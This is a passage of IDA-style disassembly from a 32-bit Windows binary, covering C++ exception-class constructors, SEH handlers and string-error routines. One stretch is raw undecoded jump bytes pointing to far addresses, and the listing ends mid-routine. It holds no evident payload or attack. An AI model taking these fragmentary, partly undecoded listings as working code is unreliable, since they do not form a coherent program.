sub_431490 proc near ; CODE XREF: sub_40BDDE+15p
; sub_40BE72+15p ...
var_3C = byte ptr -3Ch
var_38 = byte ptr -38h
var_28 = byte ptr -28h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_431490
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
lea eax, [ebp+var_3C]
push eax
push offset aStringTooLong ; "string too long"
lea ecx, [ebp+var_38]
call sub_40BD8B
mov [ebp+var_4], 0
lea ecx, [ebp+var_38]
push ecx
lea ecx, [ebp+var_28]
call sub_431640
push offset dword_435288
lea edx, [ebp+var_28]
push edx
call sub_432050
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
sub_431490 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4314F0 proc near ; CODE XREF: sub_431580+10p
; sub_431760+Ep ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_4314F0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov [ebp+var_10], ecx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_10]
call sub_431DD0
mov [ebp+var_4], 0
mov ecx, [ebp+arg_0]
add ecx, 0Ch
push ecx
mov ecx, [ebp+var_10]
add ecx, 0Ch
call sub_40BD61
mov edx, [ebp+var_10]
mov dword ptr [edx], offset off_434F50
mov [ebp+var_4], 0FFFFFFFFh
mov eax, [ebp+var_10]
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn 4
sub_4314F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431560 proc near ; DATA XREF: ___:00434F54o
; ___:00434F64o ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov ecx, [ebp+var_4]
add ecx, 0Ch
call sub_40BE4D
mov esp, ebp
pop ebp
retn
sub_431560 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431580 proc near ; DATA XREF: ___:00434F58o
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 20h
mov [ebp+var_20], ecx
mov eax, [ebp+var_20]
push eax
lea ecx, [ebp+var_1C]
call sub_4314F0
push offset dword_4352F8
lea ecx, [ebp+var_1C]
push ecx
call sub_432050
mov esp, ebp
pop ebp
retn
sub_431580 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4315B0 proc near ; CODE XREF: sub_431610+Ap
; sub_4316E0+13p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_4315B0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov [ebp+var_10], ecx
mov eax, [ebp+var_10]
mov dword ptr [eax], offset off_434F50
mov [ebp+var_4], 0
mov ecx, [ebp+var_10]
add ecx, 0Ch
call sub_40BDAE
mov [ebp+var_4], 0FFFFFFFFh
mov ecx, [ebp+var_10]
call sub_431E90
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
sub_4315B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431610 proc near ; DATA XREF: ___:off_434F50o
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov ecx, [ebp+var_4]
call sub_4315B0
mov eax, [ebp+arg_0]
and eax, 1
test eax, eax
jz short loc_431635
mov ecx, [ebp+var_4]
push ecx
call sub_419B00
add esp, 4
loc_431635: ; CODE XREF: sub_431610+17j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_431610 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431640 proc near ; CODE XREF: sub_431490+3Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_4]
call sub_431670
mov ecx, [ebp+var_4]
mov dword ptr [ecx], offset off_434F60
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_431640 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431670 proc near ; CODE XREF: sub_431640+Ep
; sub_4317F0+Ep
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_431670
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
mov [ebp+var_14], ecx
mov [ebp+var_10], offset dword_433E6C
lea eax, [ebp+var_10]
push eax
mov ecx, [ebp+var_14]
call sub_431D60
mov [ebp+var_4], 0
mov ecx, [ebp+arg_0]
push ecx
mov ecx, [ebp+var_14]
add ecx, 0Ch
call sub_40BD61
mov edx, [ebp+var_14]
mov dword ptr [edx], offset off_434F50
mov [ebp+var_4], 0FFFFFFFFh
mov eax, [ebp+var_14]
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn 4
sub_431670 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4316E0 proc near ; CODE XREF: sub_431730+Ap
; DATA XREF: ___:0043528Co
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov dword ptr [eax], offset off_434F60
mov ecx, [ebp+var_4]
call sub_4315B0
mov esp, ebp
pop ebp
retn
sub_4316E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431700 proc near ; DATA XREF: ___:00434F68o
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 20h
mov [ebp+var_20], ecx
mov eax, [ebp+var_20]
push eax
lea ecx, [ebp+var_1C]
call sub_431760
push offset dword_435288
lea ecx, [ebp+var_1C]
push ecx
call sub_432050
mov esp, ebp
pop ebp
retn
sub_431700 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431730 proc near ; DATA XREF: ___:off_434F60o
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov ecx, [ebp+var_4]
call sub_4316E0
mov eax, [ebp+arg_0]
and eax, 1
test eax, eax
jz short loc_431755
mov ecx, [ebp+var_4]
push ecx
call sub_419B00
add esp, 4
loc_431755: ; CODE XREF: sub_431730+17j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_431730 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431760 proc near ; CODE XREF: sub_431700+10p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_4]
call sub_4314F0
mov ecx, [ebp+var_4]
mov dword ptr [ecx], offset off_434F60
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_431760 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431790 proc near ; CODE XREF: sub_40BEDC+17p
; sub_40C15B+Ep
var_3C = byte ptr -3Ch
var_38 = byte ptr -38h
var_28 = byte ptr -28h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_431790
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
lea eax, [ebp+var_3C]
push eax
push offset aInvalidStringP ; "invalid string position"
lea ecx, [ebp+var_38]
call sub_40BD8B
mov [ebp+var_4], 0
lea ecx, [ebp+var_38]
push ecx
lea ecx, [ebp+var_28]
call sub_4317F0
push offset dword_435388
lea edx, [ebp+var_28]
push edx
call sub_432050
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
sub_431790 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4317F0 proc near ; CODE XREF: sub_431790+3Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_4]
call sub_431670
mov ecx, [ebp+var_4]
mov dword ptr [ecx], offset off_434F88
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_4317F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431820 proc near ; CODE XREF: sub_431870+Ap
; DATA XREF: ___:0043538Co
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov dword ptr [eax], offset off_434F88
mov ecx, [ebp+var_4]
call sub_4315B0
mov esp, ebp
pop ebp
retn
sub_431820 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431840 proc near ; DATA XREF: ___:00434F90o
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 20h
mov [ebp+var_20], ecx
mov eax, [ebp+var_20]
push eax
lea ecx, [ebp+var_1C]
call sub_4318A0
push offset dword_435388
lea ecx, [ebp+var_1C]
push ecx
call sub_432050
mov esp, ebp
pop ebp
retn
sub_431840 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431870 proc near ; DATA XREF: ___:off_434F88o
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov ecx, [ebp+var_4]
call sub_431820
mov eax, [ebp+arg_0]
and eax, 1
test eax, eax
jz short loc_431895
mov ecx, [ebp+var_4]
push ecx
call sub_419B00
add esp, 4
loc_431895: ; CODE XREF: sub_431870+17j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_431870 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4318A0 proc near ; CODE XREF: sub_431840+10p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_4]
call sub_4314F0
mov ecx, [ebp+var_4]
mov dword ptr [ecx], offset off_434F88
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_4318A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4318D0 proc near ; DATA XREF: ___:0043600Co
push ebp
mov ebp, esp
call sub_40C32A
call sub_4318F0
call sub_431910
call sub_431940
pop ebp
retn
sub_4318D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4318F0 proc near ; CODE XREF: sub_4318D0+8p
push ebp
mov ebp, esp
push offset nullsub_1
call sub_419C90
add esp, 4
pop ebp
retn
sub_4318F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431910 proc near ; CODE XREF: sub_4318D0+Dp
push ebp
mov ebp, esp
xor eax, eax
mov al, byte_4DC7D8
and eax, 1
test eax, eax
jnz short loc_431930
mov cl, byte_4DC7D8
or cl, 1
mov byte_4DC7D8, cl
loc_431930: ; CODE XREF: sub_431910+Fj
pop ebp
retn
sub_431910 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431940 proc near ; CODE XREF: sub_4318D0+12p
push ebp
mov ebp, esp
push offset sub_431960
call sub_419C90
add esp, 4
pop ebp
retn
sub_431940 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431960 proc near ; DATA XREF: sub_431940+3o
push ebp
mov ebp, esp
pop ebp
retn
sub_431960 endp
; ---------------------------------------------------------------------------
db 0CCh
db 90h
db 0E9h
dd 7167FF24h, 67F987E9h
; ---------------------------------------------------------------------------
jno short loc_4319A9
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_431972 proc near ; CODE XREF: sub_40B707+5Ep
nop
jmp near ptr 71AB1B7Bh
sub_431972 endp
; ---------------------------------------------------------------------------
dd 680177E9h, 0E9905571h, 7168229Eh, 683D07E9h, 0E9907471h
dd 716800DDh, 25F7E990h, 0E9907168h, 716824C1h, 67FDA5E9h
dd 0E9902D71h, 71686CE5h
db 0E9h
; ---------------------------------------------------------------------------
loc_4319A9: ; CODE XREF: ___:00431970j
xor eax, 7B716844h
nop
jmp near ptr 71AB3ECEh
; ---------------------------------------------------------------------------
db 90h
db 0E9h, 0A0h, 0FBh
dd 0E9907167h, 7168281Ah, 0FE70E990h, 0E9907167h, 77A442E9h
dd 0E6C9E990h, 0C8E90223h, 620223E9h, 0E622E990h, 1DE90224h
dd 40225E6h, 0EBAFE990h, 21E90225h, 70225ECh, 0EEF9E990h
dd 0E9900225h, 226E604h, 0ED95E990h, 0E9900226h, 226EEF7h
dd 0F0E4E990h, 0E9900226h, 227E5ECh, 27EC3FE9h, 0E9905002h
dd 227EC6Fh, 0F0BEE990h, 0E9900227h, 227F20Ch, 0F29CE990h
dd 0C9E90227h, 0DE0228E5h, 0EBC1E990h, 0E9900228h, 229E5BCh
dd 29F166E9h, 0B1E98D02h, 0A1022AE5h, 0E5AAE990h, 0E990022Bh
dd 22BEAE3h, 0E59EE990h, 0E990022Ch, 77B4C898h, 0C7B1E990h
dd 0E99077B4h, 22CEAC4h, 0ECF6E990h, 81E9022Ch, 0B3022DE5h
dd 0E57AE990h, 0E990022Eh, 22FE574h, 0EE62E990h, 0E990022Fh
dd 22FEF64h, 0F464E990h, 0E990022Fh, 230E55Ch, 0F841E990h
dd 51E90230h, 5A0231E5h, 0F0E5E990h, 45E90231h, 0E80232E5h
dd 0E7C8E990h, 39E90232h, 0B80233E5h, 33EB88E9h, 0E9906702h
dd 234E52Ch, 0E526E990h, 21E90235h, 5A0236E5h, 36F0B8E9h
dd 0E9903402h, 236F376h, 37E50FE9h, 0E990B302h, 237E68Eh
dd 0E502E990h, 0E9900238h, 239E4FCh, 0EB38E990h, 0F1E90239h
dd 37021AE4h, 39F07CE9h, 0E990A902h, 23AE4E4h, 0EBD0E990h
dd 0E990023Ah, 23BE4D8h, 0E4D2E990h, 0E990023Ch, 23CF645h
dd 0E4C6E990h, 0E990023Dh, 23DF678h, 3DFA1CE9h, 0E990A602h
dd 23DFE17h, 3EE4AFE9h, 0E990A602h, 23EFA93h, 0FFD5E990h
dd 0E990023Eh, 23FE49Ch, 0E5B2E990h, 0E990023Fh, 240E490h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_431B70 proc near ; CODE XREF: sub_419340+27p
; sub_4196B0+13p
nop
jmp near ptr 2840553h
sub_431B70 endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h
dd 240F0FFh, 0F148E990h, 0E9900240h, 241E478h, 95E990h
dd 0ADE90242h, 71024200h, 1B0BE990h, 0E99077A8h, 242E460h
dd 0E717E990h, 0E9900242h, 242EB30h, 0EB9AE990h, 0E9900242h
dd 243E448h, 0E442E990h, 0E9900244h, 2450506h, 450DC2E9h
dd 0E9902F02h, 245E430h, 0EA2DE990h, 0E9900245h, 245EBDAh
dd 0ED8DE990h, 1AE90245h, 40245EEh, 0E412E990h, 0E9900246h
dd 246E848h, 46F04BE9h, 0E9909A02h, 246F0DDh, 0F1E7E990h
dd 0E9900246h, 247E3F4h, 0EC38E990h, 0E9900247h, 247EC64h
dd 0EC6EE990h, 0E9900247h, 248E3DCh, 48EB51E9h, 0E9905802h
dd 249E3D0h, 0E3CAE990h, 0E990024Ah, 24AF480h, 0F67BE990h
dd 0E990024Ah, 24AF793h, 0F7EEE990h, 0E990024Ah, 223E3ACh
dd 0F0BEE990h, 0ADE90222h, 0A60222EBh, 0E39AE990h, 0E9900222h
dd 221E394h, 21DE990h, 0E9900221h, 2210181h, 0E382E990h
dd 0E9900220h, 21FE421h, 0E376E990h, 81E9021Fh, 95021EEFh
dd 0E36AE990h, 0E990021Eh, 21DE364h, 0EAF2E990h, 59E9021Ch
dd 67021CE3h, 0E352E990h, 0CCCC021Bh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431CB0 proc near ; CODE XREF: sub_411AB7+21p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
jnz short loc_431CBE
xor eax, eax
jmp short loc_431CF3
; ---------------------------------------------------------------------------
loc_431CBE: ; CODE XREF: sub_431CB0+8j
mov eax, [ebp+arg_0]
push eax
call sub_414BE0
add esp, 4
add eax, 1
push eax
call sub_414DB0
add esp, 4
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_431CF1
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_4]
push edx
call sub_4184C0
add esp, 8
jmp short loc_431CF3
; ---------------------------------------------------------------------------
loc_431CF1: ; CODE XREF: sub_431CB0+2Dj
xor eax, eax
loc_431CF3: ; CODE XREF: sub_431CB0+Cj
; sub_431CB0+3Fj
mov esp, ebp
pop ebp
retn
sub_431CB0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov eax, [ebp-4]
mov dword ptr [eax], offset off_434F98
mov ecx, [ebp-4]
mov dword ptr [ecx+4], 0
mov edx, [ebp-4]
mov dword ptr [edx+8], 0
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431D30 proc near ; DATA XREF: ___:off_434F98o
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov ecx, [ebp+var_4]
call sub_431E90
mov eax, [ebp+arg_0]
and eax, 1
test eax, eax
jz short loc_431D55
mov ecx, [ebp+var_4]
push ecx
call sub_419B00
add esp, 4
loc_431D55: ; CODE XREF: sub_431D30+17j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_431D30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431D60 proc near ; CODE XREF: sub_431670+2Cp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], ecx
mov eax, [ebp+var_8]
mov dword ptr [eax], offset off_434F98
mov ecx, [ebp+arg_0]
mov edx, [ecx]
push edx
call sub_414BE0
add esp, 4
add eax, 1
push eax
call sub_419BB0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
mov [eax+4], ecx
mov edx, [ebp+var_8]
cmp dword ptr [edx+4], 0
jz short loc_431DB6
mov eax, [ebp+arg_0]
mov ecx, [eax]
push ecx
mov edx, [ebp+var_8]
mov eax, [edx+4]
push eax
call sub_4184C0
add esp, 8
loc_431DB6: ; CODE XREF: sub_431D60+3Fj
mov ecx, [ebp+var_8]
mov dword ptr [ecx+8], 1
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn 4
sub_431D60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431DD0 proc near ; CODE XREF: sub_4314F0+23p
; ___:00431E7Ep
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], ecx
mov eax, [ebp+var_8]
mov dword ptr [eax], offset off_434F98
mov ecx, [ebp+var_8]
mov edx, [ebp+arg_0]
mov eax, [edx+8]
mov [ecx+8], eax
mov ecx, [ebp+var_8]
cmp dword ptr [ecx+8], 0
jz short loc_431E3F
mov edx, [ebp+arg_0]
mov eax, [edx+4]
push eax
call sub_414BE0
add esp, 4
add eax, 1
push eax
call sub_419BB0
add esp, 4
mov [ebp+var_4], eax
mov ecx, [ebp+var_8]
mov edx, [ebp+var_4]
mov [ecx+4], edx
mov eax, [ebp+var_8]
cmp dword ptr [eax+4], 0
jz short loc_431E3D
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
push edx
mov eax, [ebp+var_8]
mov ecx, [eax+4]
push ecx
call sub_4184C0
add esp, 8
loc_431E3D: ; CODE XREF: sub_431DD0+55j
jmp short loc_431E4B
; ---------------------------------------------------------------------------
loc_431E3F: ; CODE XREF: sub_431DD0+25j
mov edx, [ebp+var_8]
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
mov [edx+4], ecx
loc_431E4B: ; CODE XREF: sub_431DD0:loc_431E3Dj
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn 4
sub_431DD0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov eax, [ebp-4]
cmp eax, [ebp+8]
jz short loc_431E83
mov ecx, [ebp-4]
call sub_431E90
mov ecx, [ebp+8]
push ecx
mov ecx, [ebp-4]
call sub_431DD0
loc_431E83: ; CODE XREF: ___:00431E6Dj
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431E90 proc near ; CODE XREF: sub_4315B0+41p
; sub_431D30+Ap ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], ecx
mov eax, [ebp+var_8]
mov dword ptr [eax], offset off_434F98
mov ecx, [ebp+var_8]
cmp dword ptr [ecx+8], 0
jz short loc_431EC0
mov edx, [ebp+var_8]
mov eax, [edx+4]
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
push ecx
call sub_419B00
add esp, 4
loc_431EC0: ; CODE XREF: sub_431E90+19j
mov esp, ebp
pop ebp
retn
sub_431E90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431ED0 proc near ; DATA XREF: ___:00434F9Co
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
cmp dword ptr [eax+4], 0
jz short loc_431EE8
mov ecx, [ebp+var_4]
mov eax, [ecx+4]
jmp short loc_431EED
; ---------------------------------------------------------------------------
loc_431EE8: ; CODE XREF: sub_431ED0+Ej
mov eax, offset aUnknownExcepti ; "Unknown exception"
loc_431EED: ; CODE XREF: sub_431ED0+16j
mov esp, ebp
pop ebp
retn
sub_431ED0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431F00 proc near ; CODE XREF: sub_431F40+Ap
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov dword ptr [eax], offset off_434FB8
push 1Bh
call sub_41B780
add esp, 4
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+4], 0
jz short loc_431F32
mov edx, [ebp+var_4]
mov eax, [edx+4]
push eax
call sub_41BC00
add esp, 4
loc_431F32: ; CODE XREF: sub_431F00+21j
push 1Bh
call sub_41B820
add esp, 4
mov esp, ebp
pop ebp
retn
sub_431F00 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431F40 proc near ; DATA XREF: ___:off_434FB8o
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov ecx, [ebp+var_4]
call sub_431F00
mov eax, [ebp+arg_0]
and eax, 1
test eax, eax
jz short loc_431F65
mov ecx, [ebp+var_4]
push ecx
call sub_419B00
add esp, 4
loc_431F65: ; CODE XREF: sub_431F40+17j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_431F40 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov eax, [ebp-4]
add eax, 9
push eax
mov ecx, [ebp+8]
add ecx, 9
push ecx
call sub_417870
add esp, 8
neg eax
sbb eax, eax
inc eax
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov eax, [ebp-4]
add eax, 9
push eax
mov ecx, [ebp+8]
add ecx, 9
push ecx
call sub_417870
add esp, 8
neg eax
sbb eax, eax
neg eax
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov eax, [ebp-4]
add eax, 9
push eax
mov ecx, [ebp+8]
add ecx, 9
push ecx
call sub_417870
add esp, 8
xor edx, edx
test eax, eax
setnle dl
mov eax, edx
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov eax, [ebp-4]
add eax, 8
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov eax, [ebp-4]
mov dword ptr [eax], offset off_434FB8
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432050 proc near ; CODE XREF: sub_431490+48p
; sub_431580+1Ep ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
push esi
push edi
mov ecx, 8
mov esi, offset dword_434FC0
lea edi, [ebp+var_20]
rep movsd
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_4]
mov [ebp+var_4], ecx
lea edx, [ebp+var_C]
push edx
mov eax, [ebp+var_10]
push eax
mov ecx, [ebp+var_1C]
push ecx
mov edx, [ebp+var_20]
push edx
nop
call near ptr 28C077Ah
pop edi
pop esi
mov esp, ebp
pop ebp
retn 8
sub_432050 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4320A0 proc near ; DATA XREF: ___:0043518Co
lea ecx, [ebp-38h]
jmp sub_40BDAE
sub_4320A0 endp
; ---------------------------------------------------------------------------
mov eax, [ebp-20h]
and eax, 1
test eax, eax
jz locret_4320BE
mov ecx, [ebp+8]
jmp sub_40BDAE
; ---------------------------------------------------------------------------
locret_4320BE: ; CODE XREF: ___:004320B0j
retn
; ---------------------------------------------------------------------------
loc_4320BF: ; DATA XREF: sub_40B943o
mov eax, offset dword_435160
jmp sub_4193A0
; ---------------------------------------------------------------------------
lea ecx, [ebp+14h]
jmp sub_40BDAE
; ---------------------------------------------------------------------------
loc_4320D1: ; DATA XREF: ___:004351BCo
lea ecx, [ebp-1Ch]
jmp sub_40BDAE
; ---------------------------------------------------------------------------
loc_4320D9: ; DATA XREF: sub_40BABAo
mov eax, offset dword_435190
jmp sub_4193A0
; ---------------------------------------------------------------------------
align 4
loc_4320E4: ; DATA XREF: sub_40C1EBo
mov eax, offset dword_4351C0
jmp sub_4193A0
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-38h]
call sub_40BDAE
retn
; =============== S U B R O U T I N E =======================================
SEH_431490 proc near ; DATA XREF: sub_431490+5o
mov eax, offset dword_435298
jmp sub_4193A0
SEH_431490 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
call sub_431E90
retn
; =============== S U B R O U T I N E =======================================
SEH_4314F0 proc near ; DATA XREF: sub_4314F0+5o
mov eax, offset dword_4352C0
jmp sub_4193A0
SEH_4314F0 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
call sub_431E90
retn
; =============== S U B R O U T I N E =======================================
SEH_4315B0 proc near ; DATA XREF: sub_4315B0+5o
mov eax, offset dword_435308
jmp sub_4193A0
SEH_4315B0 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-14h]
call sub_431E90
retn
; =============== S U B R O U T I N E =======================================
SEH_431670 proc near ; DATA XREF: sub_431670+5o
mov eax, offset dword_435330
jmp sub_4193A0
SEH_431670 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-38h]
call sub_40BDAE
retn
; =============== S U B R O U T I N E =======================================
SEH_431790 proc near ; DATA XREF: sub_431790+5o
